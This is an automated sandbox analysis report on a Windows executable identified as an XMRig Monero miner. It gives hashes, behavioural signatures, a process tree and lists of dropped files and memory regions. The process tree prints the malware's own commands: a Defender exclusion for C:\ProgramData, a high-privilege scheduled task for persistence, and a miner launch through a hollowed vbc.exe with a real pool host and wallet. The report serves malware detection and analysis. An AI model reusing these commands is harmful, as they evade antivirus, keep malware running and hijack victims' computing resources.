Analysis

  • max time kernel
    83s
  • max time network
    121s
  • platform
    windows10-1703_x64
  • resource
    win10-20220901-en
  • resource tags

    arch:x64arch:x86image:win10-20220901-enlocale:en-usos:windows10-1703-x64system
  • submitted
    10-11-2022 19:31

General

  • Target

    8b8221cc10a597ef1872eed5525b3ec02d645652b60b8243110ab9a5d8589d61.exe

  • Size

    1.1MB

  • MD5

    19a474356662325b2059630216338194

  • SHA1

    5537672751a37401bccf455f651d564bb314a924

  • SHA256

    8b8221cc10a597ef1872eed5525b3ec02d645652b60b8243110ab9a5d8589d61

  • SHA512

    d355ec56e5cc367617acc4524b9d44dc242e8f0fcc4fe28c9193c4c2dc3fa132368839a22a4ec470b0e506cefaadf69a3291c8e9dc766cdfb90541b7a5e0ecd4

  • SSDEEP

    24576:8tPBwXgZiujGrs4EroJ7WtRDbQMPLqxpw3qt:CigZMsMN4v9jqxpwa

Score
10/10

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 6 IoCs
  • Executes dropped EXE 1 IoCs
  • Uses the VBS compiler for execution 1 TTPs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Delays execution with timeout.exe 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 48 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\8b8221cc10a597ef1872eed5525b3ec02d645652b60b8243110ab9a5d8589d61.exe
    "C:\Users\Admin\AppData\Local\Temp\8b8221cc10a597ef1872eed5525b3ec02d645652b60b8243110ab9a5d8589d61.exe"
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:520
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1816
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp9CB2.tmp.bat""
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4828
      • C:\Windows\system32\timeout.exe
        timeout 3
        3⤵
        • Delays execution with timeout.exe
        PID:3688
      • C:\ProgramData\WindowsMail\AVPTQBAEW.exe
        "C:\ProgramData\WindowsMail\AVPTQBAEW.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4128
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3356
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "AVPTQBAEW" /tr "C:\ProgramData\WindowsMail\AVPTQBAEW.exe"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:2732
          • C:\Windows\system32\schtasks.exe
            schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "AVPTQBAEW" /tr "C:\ProgramData\WindowsMail\AVPTQBAEW.exe"
            5⤵
            • Creates scheduled task(s)
            PID:4268
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of FindShellTrayWindow
          PID:904

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • C:\ProgramData\WindowsMail\AVPTQBAEW.exe

    Filesize

    1.1MB

    MD5

    19a474356662325b2059630216338194

    SHA1

    5537672751a37401bccf455f651d564bb314a924

    SHA256

    8b8221cc10a597ef1872eed5525b3ec02d645652b60b8243110ab9a5d8589d61

    SHA512

    d355ec56e5cc367617acc4524b9d44dc242e8f0fcc4fe28c9193c4c2dc3fa132368839a22a4ec470b0e506cefaadf69a3291c8e9dc766cdfb90541b7a5e0ecd4

  • C:\ProgramData\WindowsMail\AVPTQBAEW.exe

    Filesize

    1.1MB

    MD5

    19a474356662325b2059630216338194

    SHA1

    5537672751a37401bccf455f651d564bb314a924

    SHA256

    8b8221cc10a597ef1872eed5525b3ec02d645652b60b8243110ab9a5d8589d61

    SHA512

    d355ec56e5cc367617acc4524b9d44dc242e8f0fcc4fe28c9193c4c2dc3fa132368839a22a4ec470b0e506cefaadf69a3291c8e9dc766cdfb90541b7a5e0ecd4

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    8592ba100a78835a6b94d5949e13dfc1

    SHA1

    63e901200ab9a57c7dd4c078d7f75dcd3b357020

    SHA256

    fdd7d9def6f9f0c0f2e60dbc8a2d1999071cd7d3095e9e087bb1cda7a614ac3c

    SHA512

    87f98e6cb61b2a2a7d65710c4d33881d89715eb7a06e00d492259f35c3902498baabffc5886be0ec5a14312ad4c262e3fc40cd3a5cb91701af0fb229726b88c3

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    28c9fcd4f5595c2fcee67e3ca23d7586

    SHA1

    13cc462d741fca4a431c6e1e9aa24d91ce272e41

    SHA256

    8892662ba2f7e160cb68c7c8b71528052e9a641530ebdd609341dc27fbc3c831

    SHA512

    da0f15d05ebe59214d1b1c98fb88a13755393fe37b82b2e459e97d8856901119c0f7827def4da4d3efcb42f77084c5936dc1ac726f778df694b2e3fb01a5b066

  • C:\Users\Admin\AppData\Local\Temp\tmp9CB2.tmp.bat

    Filesize

    149B

    MD5

    307d91e061f4b3fe0f1dde9aa70b7bb9

    SHA1

    a30822b2e5459759425d2608131013ce24bb305f

    SHA256

    edfc5b0662b4447a59ed2d8d3acd76a61ae2fa6cea05e61d949a4ae1daadc95b

    SHA512

    8c4818fb2afb50a702f391c0ea3f7457020840c096d18052214490d3a99f60bb0ee5439b66c8f09aad3304ca6267b7fb05a3f48ef67e1855f384fb1e0a770823

  • memory/520-127-0x00007FF8F25C0000-0x00007FF8F26B7000-memory.dmp

    Filesize

    988KB

  • memory/520-131-0x0000000000170000-0x0000000000422000-memory.dmp

    Filesize

    2.7MB

  • memory/520-126-0x00007FF8FAD80000-0x00007FF8FAD91000-memory.dmp

    Filesize

    68KB

  • memory/520-124-0x00007FF8FBE70000-0x00007FF8FBE97000-memory.dmp

    Filesize

    156KB

  • memory/520-129-0x0000000000170000-0x0000000000422000-memory.dmp

    Filesize

    2.7MB

  • memory/520-128-0x00007FF8E2CE0000-0x00007FF8E36CC000-memory.dmp

    Filesize

    9.9MB

  • memory/520-130-0x0000000001760000-0x00000000017A3000-memory.dmp

    Filesize

    268KB

  • memory/520-125-0x00007FF8FBFD0000-0x00007FF8FC11A000-memory.dmp

    Filesize

    1.3MB

  • memory/520-132-0x00007FF8F2290000-0x00007FF8F23BC000-memory.dmp

    Filesize

    1.2MB

  • memory/520-139-0x0000000000170000-0x0000000000422000-memory.dmp

    Filesize

    2.7MB

  • memory/520-140-0x0000000001760000-0x00000000017A3000-memory.dmp

    Filesize

    268KB

  • memory/520-123-0x00007FF8FC980000-0x00007FF8FCA2E000-memory.dmp

    Filesize

    696KB

  • memory/520-122-0x00007FF8FCD80000-0x00007FF8FCE1D000-memory.dmp

    Filesize

    628KB

  • memory/520-121-0x00007FF8F5B50000-0x00007FF8F5BEC000-memory.dmp

    Filesize

    624KB

  • memory/904-240-0x0000000140000000-0x00000001407C9000-memory.dmp

    Filesize

    7.8MB

  • memory/904-239-0x000002AF94810000-0x000002AF94830000-memory.dmp

    Filesize

    128KB

  • memory/904-249-0x000002AF96180000-0x000002AF961A0000-memory.dmp

    Filesize

    128KB

  • memory/904-248-0x000002AF96160000-0x000002AF96180000-memory.dmp

    Filesize

    128KB

  • memory/904-247-0x000002AF96180000-0x000002AF961A0000-memory.dmp

    Filesize

    128KB

  • memory/904-246-0x000002AF96160000-0x000002AF96180000-memory.dmp

    Filesize

    128KB

  • memory/904-245-0x000002AF94880000-0x000002AF948C0000-memory.dmp

    Filesize

    256KB

  • memory/904-242-0x0000000140000000-0x00000001407C9000-memory.dmp

    Filesize

    7.8MB

  • memory/904-235-0x0000000140000000-0x00000001407C9000-memory.dmp

    Filesize

    7.8MB

  • memory/904-236-0x0000000140343234-mapping.dmp

  • memory/904-238-0x0000000140000000-0x00000001407C9000-memory.dmp

    Filesize

    7.8MB

  • memory/904-237-0x0000000140000000-0x00000001407C9000-memory.dmp

    Filesize

    7.8MB

  • memory/1816-142-0x000001AD49E30000-0x000001AD49E52000-memory.dmp

    Filesize

    136KB

  • memory/1816-146-0x000001AD62150000-0x000001AD621C6000-memory.dmp

    Filesize

    472KB

  • memory/1816-133-0x0000000000000000-mapping.dmp

  • memory/2732-195-0x0000000000000000-mapping.dmp

  • memory/3356-190-0x0000000000000000-mapping.dmp

  • memory/3688-143-0x0000000000000000-mapping.dmp

  • memory/4128-187-0x00007FF8E2CE0000-0x00007FF8E36CC000-memory.dmp

    Filesize

    9.9MB

  • memory/4128-179-0x00007FF8F5B50000-0x00007FF8F5BEC000-memory.dmp

    Filesize

    624KB

  • memory/4128-225-0x00007FF8FAC30000-0x00007FF8FAC55000-memory.dmp

    Filesize

    148KB

  • memory/4128-227-0x00007FF8DC840000-0x00007FF8DC90C000-memory.dmp

    Filesize

    816KB

  • memory/4128-226-0x00007FF8F21C0000-0x00007FF8F21E5000-memory.dmp

    Filesize

    148KB

  • memory/4128-228-0x00007FF8FC800000-0x00007FF8FC86C000-memory.dmp

    Filesize

    432KB

  • memory/4128-229-0x00007FF8FA3B0000-0x00007FF8FA3E7000-memory.dmp

    Filesize

    220KB

  • memory/4128-233-0x0000000001120000-0x00000000013D2000-memory.dmp

    Filesize

    2.7MB

  • memory/4128-234-0x0000000000E00000-0x0000000000E43000-memory.dmp

    Filesize

    268KB

  • memory/4128-189-0x00007FF8F2290000-0x00007FF8F23BC000-memory.dmp

    Filesize

    1.2MB

  • memory/4128-188-0x0000000001120000-0x00000000013D2000-memory.dmp

    Filesize

    2.7MB

  • memory/4128-174-0x0000000000000000-mapping.dmp

  • memory/4128-180-0x00007FF8FCD80000-0x00007FF8FCE1D000-memory.dmp

    Filesize

    628KB

  • memory/4128-186-0x00007FF8F25C0000-0x00007FF8F26B7000-memory.dmp

    Filesize

    988KB

  • memory/4128-185-0x00007FF8FAD80000-0x00007FF8FAD91000-memory.dmp

    Filesize

    68KB

  • memory/4128-241-0x0000000001120000-0x00000000013D2000-memory.dmp

    Filesize

    2.7MB

  • memory/4128-184-0x00007FF8FBFD0000-0x00007FF8FC11A000-memory.dmp

    Filesize

    1.3MB

  • memory/4128-183-0x00007FF8FBE70000-0x00007FF8FBE97000-memory.dmp

    Filesize

    156KB

  • memory/4128-181-0x0000000000E00000-0x0000000000E43000-memory.dmp

    Filesize

    268KB

  • memory/4128-182-0x00007FF8FC980000-0x00007FF8FCA2E000-memory.dmp

    Filesize

    696KB

  • memory/4128-178-0x0000000001120000-0x00000000013D2000-memory.dmp

    Filesize

    2.7MB

  • memory/4268-200-0x0000000000000000-mapping.dmp

  • memory/4828-134-0x0000000000000000-mapping.dmp